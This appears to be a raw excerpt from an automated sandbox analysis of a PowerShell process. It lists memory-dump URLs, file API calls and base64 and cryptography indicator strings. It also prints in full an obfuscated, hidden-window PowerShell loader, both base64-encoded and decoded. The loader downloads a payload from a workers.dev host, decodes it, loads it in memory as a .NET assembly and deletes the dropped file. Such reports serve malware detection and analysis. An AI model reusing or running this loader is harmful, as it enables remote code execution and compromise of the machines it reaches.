"http://www.microsoft.com/windowssnippetsrefemit_inmemorymanifestmodulemscorlibsystem.securitysecuritytransparentattribute.ctorsystemmulticastdelegatedelegate22$1system.coresystem.runtime.compilerservicescallsitetypeinvoket" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0d:%i9tqmb^p!" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0d:%i9tyhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fe" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4zs9_>washington1redmond1microsoft" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://www.microsoft.com/windows" - Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found URL "http://yr1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0&u$u0ny_" - Source: "00000000-00003340.00000001.201439.CA820000.00000004.mdmp") Found URL "http://yr1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0&u$u0nt.com/pkiops/crl/microsoft%20tls%20ecc%20root%20g2.crljhttp://crl2.microsoft.com/pkiops/crl/microsoft%20tls%20ecc%20root%20g2.crl0y.g^" - Source: "00000000-00003340.00000001.201439.CA820000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czcthawte," - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eusername=0wqyd7amscorlibsystem.cpep_system.cname" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;f'kgy]@^addtrust" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0eris?decduz_]y!;_120531151137z0/^g(o-cejy" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*ly6g_(x" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526919" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsofty;@^=w8" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportindows" - Source: "00000000-00003340.00000001.201439.E5190000.00000004.mdmp") Found URL "http://www.microsoft.com/win02ig" - Source: "00000000-00003340.00000001.201439.E5190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-n0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@" - Source: "00000000-00003340.00000001.201439.E5190000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003340.00000001.201439.E5190000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003340.00000001.201439.E5190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mi-tut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003340.00000001.201439.E5190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00003340.00000001.201439.E5190000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003340.00000001.201439.E5190000.00000004.mdmp") Found URL "http://www.microsoft.com/windowssnippetsrefemit_inmemorymanifestmodulemscorlibsystem.securitysecuritytransparentattribute.ctorsystemmulticastdelegatedelegate22$1system.coresystem.runtime.compilerservicescallsitetypeinvoke!n" - Source: "00000000-00003340.00000001.201439.E52AC000.00000004.mdmp") Found URL "http://ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0d:%i9tqmb^43fcp!" - Source: "00000000-00003340.00000001.201439.E52AC000.00000004.mdmp") Found URL "http://yr1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0&u$u0nnonicnonicrnonicdnonicy3g^0c1-27294-a8d784yhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003340.00000001.201439.E52AC000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003340.00000001.201439.E52AC000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fe" - Source: "00000000-00003340.00000001.201439.E52AC000.00000004.mdmp")49:Ta10,Process "powershell.exe" with commandline "-WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnezR9Y29tcHJvbWlzZWQgPSB7MH1odHRwczovL3JvdWdoLXRydXRoLWUwNzIucHVibGknKydjZnRwcmVzZW5kLndvcmtlJysncnMuZGV2L2VnaGRwenswfScrJzsgezR9c3BoZXJlcyA9IHswfScrJ0M6ezF9VXNlcnN7MX1QdWJsaWN7MX1Eb3dubG9hZHN7MX1wYXlsb2FkLnR4dHsnKycwfTsgezR9Z2FwZXNpbmcnKycgPSBbJysnYWN0aXZhdG9yXTo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjJysnbGllbnRdKTsgezR9Z2FwZXNpbmcuSGVhZGVycycrJy5BZGQoezB9VXNlci1BZ2VudHswfSwgezB9TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2ICcrJyhLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjAuMCBTYWZhcmkvNTM3LjM2ezB9KScrJzsgezR9Z2FwZXNpbmcuRG93bmxvYScrJ2RGaWxlKHs0fWNvbXByb21pc2VkLCB7NH1zcGgnKydlJysncmVzKTsgezR9bGluZW4gPSAoR2V0LUNvbnRlJysnbnQgezR9c3BoZXJlcyAtUmF3KTsgezR9dGVyZWQnKydpbmUgPSB7NH1sJysnaW5lbi5SZXBsYWNlKHszfSp7M30sezN9QXszJysnfSk7IHs0fXF1aW56ZSA9IFtjaGFyW11dKCh7NH10ZXInKydlZGluZS5UJysnb0NoYXJBcnJheSgpKVsoezR9dGVyZWRpbmUuTGVuZ3RoLTEpLi4wXSk7IHs0fXVzY29jayA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoLWpvaW4gezR9cXVpbnplKTsgW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uJysnTG9hZCh7NH11c2NvY2spIHsnKycyfSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoezMnKyd9S25QUlE4RHpYU2JGT29NNk1EdGVDSnlhNGJ1Nm1FZnBnUk1zZlcveUUrVXRWMHVSeFoyRzZKcnVjWmFvako5K1poenV1ODhsUVlVdElwSm00Z0VkTCcrJ2JDSGdtbUN2eExweWRCTmZqUysnKycxZU09ezN9LHszfXszfScrJyx7M31wY2tQbUozJysndndHJysnZnVCMnp5WHFSdllWdVhwQScrJzhtZTAwMScrJzRYYzlKcG52dDFFVFhveUFTY3lFY2taVWsyM2pzcGxDJysnezN9LHszfTEwYVVXWC9WSTdJJysnQnVuNGx0UHdVMVVJT3Z0V01hbzlqZFlYZTgyTXB3b0k9ezN9LHsnKyczfUlGbmpBbGlqUEMwTGhSZW0zaE1XMkpncGxjL3pwbnp4UkIwb2tpVmlUWFU9ezN9LHszfXszfSx7M30yUHFkZFRqcDVwNFAxSVZ4RCtwVFZpZUNHR3VKVmxuMzd5cmtDRHN6Q3hVPXszfSx7M317MycrJ30sezN9dzh5NnRndCtJNVBwTUZGWnFUb1FaVCcrJ2p5a3VSeXJ6WlcrNkVDaDVHVzE1bz17M30sezN9dGxiMmdJNVVYb3dnYmRMNzFKbm9OSi93a3NoSHhvR0owS1ZCZldDMW1zdk1JcUhGYXBJYWtXemhQd2w5YWdnZnszfSx7M31EUkVsS2VDYnRiJysnNzNYTUJWOWxRTjVIZzNsMXZSdUJUMzhPV1J0ckknKyd3SkwnKydVPXszfSx7M317M30sezN9NzJMVWFEJysnRWpIeHl6UitjUlNzaytaeDFJZnVNJysnc0pSeEljaHI3KzBpMUtZUT17M30sezN9ezMnKyd9LHszJysnfTMyTDBMOTNTV2kyRjgxRjM2SllFU2dORVg1dG5oVnJBZjNNT05EK0lxTHc9ezN9LHszfVpEU2p2eU53NCcrJ3YnKydraUk2NS83VVFqWjdta1BXZC9xdlY1UjdCMy95T25YekU9ezN9LHszfXszfSx7M317M30sezN9ezN9KTsgUmVtb3ZlLUl0ZW0gLVBhdGggezR9c3BoJysnZXJlcyAnKyctRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUnKS1mW0NIQXJdMzQsW0NIQXJdOTIsW0NIQXJdMTI0LFtDSEFyXTM5LFtDSEFyXTM2KXwuICgodmFSaWFiTGUgJyptZHIqJykuTkFNZVszLDExLDJdLWpvaU4nJyk=')) } | Invoke-Expression"" (UID: 00000000-00003340)4a:T1115,Process "powershell.exe" with commandline "-WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnezR9Y29tcHJvbWlzZWQgPSB7MH1odHRwczovL3JvdWdoLXRydXRoLWUwNzIucHVibGknKydjZnRwcmVzZW5kLndvcmtlJysncnMuZGV2L2VnaGRwenswfScrJzsgezR9c3BoZXJlcyA9IHswfScrJ0M6ezF9VXNlcnN7MX1QdWJsaWN7MX1Eb3dubG9hZHN7MX1wYXlsb2FkLnR4dHsnKycwfTsgezR9Z2FwZXNpbmcnKycgPSBbJysnYWN0aXZhdG9yXTo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjJysnbGllbnRdKTsgezR9Z2FwZXNpbmcuSGVhZGVycycrJy5BZGQoezB9VXNlci1BZ2VudHswfSwgezB9TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2ICcrJyhLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjAuMCBTYWZhcmkvNTM3LjM2ezB9KScrJzsgezR9Z2FwZXNpbmcuRG93bmxvYScrJ2RGaWxlKHs0fWNvbXByb21pc2VkLCB7NH1zcGgnKydlJysncmVzKTsgezR9bGluZW4gPSAoR2V0LUNvbnRlJysnbnQgezR9c3BoZXJlcyAtUmF3KTsgezR9dGVyZWQnKydpbmUgPSB7NH1sJysnaW5lbi5SZXBsYWNlKHszfSp7M30sezN9QXszJysnfSk7IHs0fXF1aW56ZSA9IFtjaGFyW11dKCh7NH10ZXInKydlZGluZS5UJysnb0NoYXJBcnJheSgpKVsoezR9dGVyZWRpbmUuTGVuZ3RoLTEpLi4wXSk7IHs0fXVzY29jayA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoLWpvaW4gezR9cXVpbnplKTsgW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uJysnTG9hZCh7NH11c2NvY2spIHsnKycyfSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoezMnKyd9S25QUlE4RHpYU2JGT29NNk1EdGVDSnlhNGJ1Nm1FZnBnUk1zZlcveUUrVXRWMHVSeFoyRzZKcnVjWmFvako5K1poenV1ODhsUVlVdElwSm00Z0VkTCcrJ2JDSGdtbUN2eExweWRCTmZqUysnKycxZU09ezN9LHszfXszfScrJyx7M31wY2tQbUozJysndndHJysnZnVCMnp5WHFSdllWdVhwQScrJzhtZTAwMScrJzRYYzlKcG52dDFFVFhveUFTY3lFY2taVWsyM2pzcGxDJysnezN9LHszfTEwYVVXWC9WSTdJJysnQnVuNGx0UHdVMVVJT3Z0V01hbzlqZFlYZTgyTXB3b0k9ezN9LHsnKyczfUlGbmpBbGlqUEMwTGhSZW0zaE1XMkpncGxjL3pwbnp4UkIwb2tpVmlUWFU9ezN9LHszfXszfSx7M30yUHFkZFRqcDVwNFAxSVZ4RCtwVFZpZUNHR3VKVmxuMzd5cmtDRHN6Q3hVPXszfSx7M317MycrJ30sezN9dzh5NnRndCtJNVBwTUZGWnFUb1FaVCcrJ2p5a3VSeXJ6WlcrNkVDaDVHVzE1bz17M30sezN9dGxiMmdJNVVYb3dnYmRMNzFKbm9OSi93a3NoSHhvR0owS1ZCZldDMW1zdk1JcUhGYXBJYWtXemhQd2w5YWdnZnszfSx7M31EUkVsS2VDYnRiJysnNzNYTUJWOWxRTjVIZzNsMXZSdUJUMzhPV1J0ckknKyd3SkwnKydVPXszfSx7M317M30sezN9NzJMVWFEJysnRWpIeHl6UitjUlNzaytaeDFJZnVNJysnc0pSeEljaHI3KzBpMUtZUT17M30sezN9ezMnKyd9LHszJysnfTMyTDBMOTNTV2kyRjgxRjM2SllFU2dORVg1dG5oVnJBZjNNT05EK0lxTHc9ezN9LHszfVpEU2p2eU53NCcrJ3YnKydraUk2NS83VVFqWjdta1BXZC9xdlY1UjdCMy95T25YekU9ezN9LHszfXszfSx7M317M30sezN9ezN9KTsgUmVtb3ZlLUl0ZW0gLVBhdGggezR9c3BoJysnZXJlcyAnKyctRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUnKS1mW0NIQXJdMzQsW0NIQXJdOTIsW0NIQXJdMTI0LFtDSEFyXTM5LFtDSEFyXTM2KXwuICgodmFSaWFiTGUgJyptZHIqJykuTkFNZVszLDExLDJdLWpvaU4nJyk=')) } | Invoke-Expression"" (UID: 00000000-00003340, Additional Context: "(('{4}compromised = {0}https://rough-truth-e072.publi'+'cftpresend.worke'+'rs.dev/eghdpz{0}'+'; {4}spheres = {0}'+'C:{1}Users{1}Public{1}Downloads{1}payload.txt{'+'0}; {4}gapesing'+' = ['+'activator]::createInstance([net.webc'+'lient]); {4}gapesing.Headers'+'.Add({0}User-Agent{0}, {0}Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '+'(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36{0})'+'; {4}gapesing.Downloa'+'dFile({4}compromised, {4}sph'+'e'+'res); {4}linen = (Get-Conte'+'nt {4}spheres -Raw); {4}tered'+'ine = {4}l'+'inen.Replace({3}*{3},{3}A{3'+'}); {4}quinze = [char[]](({4}ter'+'edine.T'+'oCharArray())[({4}teredine.Length-1)..0]); {4}uscock = [System.Convert]::FromBase64String(-join {4}quinze); [AppDomain]::CurrentDomain.'+'Load({4}uscock) {'+'2} Out-Null; [Win32.RMP.aaaaaaa]::aaaaaaaaaaa({3'+'}KnPRQ8DzXSbFOoM6MDteCJya4bu6mEfpgRMsfW/yE+UtV0uRxZ2G6JrucZaojJ9+Zhzuu88lQYUtIpJm4gEdL'+'bCHgmmCvxLpydBNfjS+'+'1eM={3},{3}{3}'+',{3}pckPmJ3'+'vwG'+'fuB2zyXqRvYVuXpA'+'8me001'+'4Xc9Jpnvt1ETXoyAScyEckZUk23jsplC'+'{3},{3}10aUWX/VI7I'+'Bun4ltPwU1UIOvtWMao9jdYXe82MpwoI={3},{'+'3}IFnjAlijPC0LhRem3hMW2Jgplc/zpnzxRB0okiViTXU={3},{3}{3},{3}2PqddTjp5p4P1IVxD+pTVieCGGuJVln37yrkCDszCxU={3},{3}{3'+'},{3}w8y6tgt+I5PpMFFZqToQZT'+'jykuRyrzZW+6ECh5GW15o={3},{3}tlb2gI5UXowgbdL71JnoNJ/wkshHxoGJ0KVBfWC1msvMIqHFapIakWzhPwl9aggf{3},{3}DRElKeCbtb'+'73XMBV9lQN5Hg3l1vRuBT38OWRtrI'+'wJL'+'U={3},{3}{3},{3}72LUaD'+'EjHxyzR+cRSsk+Zx1IfuM'+'sJRxIchr7+0i1KYQ={3},{3}{3'+'},{3'+'}32L0L93SWi2F81F36JYESgNEX5tnhVrAf3MOND+IqLw={3},{3}ZDSjvyNw4'+'v'+'kiI65/7UQjZ7mkPWd/qvV5R7B3/yOnXzE={3},{3}{3},{3}{3},{3}{3}); Remove-Item -Path {4}sph'+'eres '+'-Force -ErrorAction SilentlyContinue')-f[CHAr]34,[CHAr]92,[CHAr]124,[CHAr]39,[CHAr]36)|. ((vaRiabLe '*mdr*').NAMe[3,11,2]-joiN'')")4b:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003340) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00003340) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00003340) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00003340) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00003340) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00003340) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00003340) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00003340)4c:T17c2,file/memory contains long string with (Indicator: "base64"; File: "00000000-00003340") file/memory contains long string with (Indicator: "FromBase64String"; File: "00000000-00003340") file/memory contains long string with (Indicator: "base64"; File: "powershell.exe") file/memory contains long string with (Indicator: "FromBase64String"; File: "powershell.exe") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00003340.00000000.201294.CA820000.00000004.mdmp, 00000000-00003340.00000001.201439.CA820000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003340.00000000.201294.CA820000.00000004.mdmp, 00000000-00003340.00000001.201439.CA820000.00000004.mdmp") file/memory contains long string with (Indicator: "base64"; Source: "00000000-00003340.00000000.201294.CA820000.00000004.mdmp, 00000000-00003340.00000000.201294.CAB70000.00000004.mdmp, 00000000-00003340.00000000.201294.CC450000.00000004.mdmp, 00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CA820000.00000004.mdmp, 00000000-00003340.00000001.201439.CAB70000.00000004.mdmp, 00000000-00003340.00000001.201439.CC450000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") file/memory contains long string with (Indicator: "FromBase64String"; Source: "00000000-00003340.00000000.201294.CA820000.00000004.mdmp, 00000000-00003340.00000000.201294.CAB70000.00000004.mdmp, 00000000-00003340.00000000.201294.CC450000.00000004.mdmp, 00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CA820000.00000004.mdmp, 00000000-00003340.00000001.201439.CAB70000.00000004.mdmp, 00000000-00003340.00000001.201439.CC450000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000000.201294.E5290000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.E52AC000.00000004.mdmp") Found string "osoft Enhanced RSA and AES Crypt" (Indicator: "aes"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found string "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp, 00000000-00003340.00000000.201294.EEBF0000.00000004.mdmp, 00000000-00003340.00000001.201439.EEB70000.00000004.mdmp, 00000000-00003340.00000001.201439.EEBB0000.00000004.mdmp, 00000000-00003340.00000001.201439.EEBC0000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp, 00000000-00003340.00000000.201294.EEBF0000.00000004.mdmp, 00000000-00003340.00000001.201439.EEB70000.00000004.mdmp, 00000000-00003340.00000001.201439.EEBB0000.00000004.mdmp, 00000000-00003340.00000001.201439.EEBC0000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "tripledescryptoserviceprovider" (Indicator: "tripledescryptoserviceprovider"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostream"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostreammode"; Source: "00000000-00003340.00000000.201294.EEB90000.00000004.mdmp") 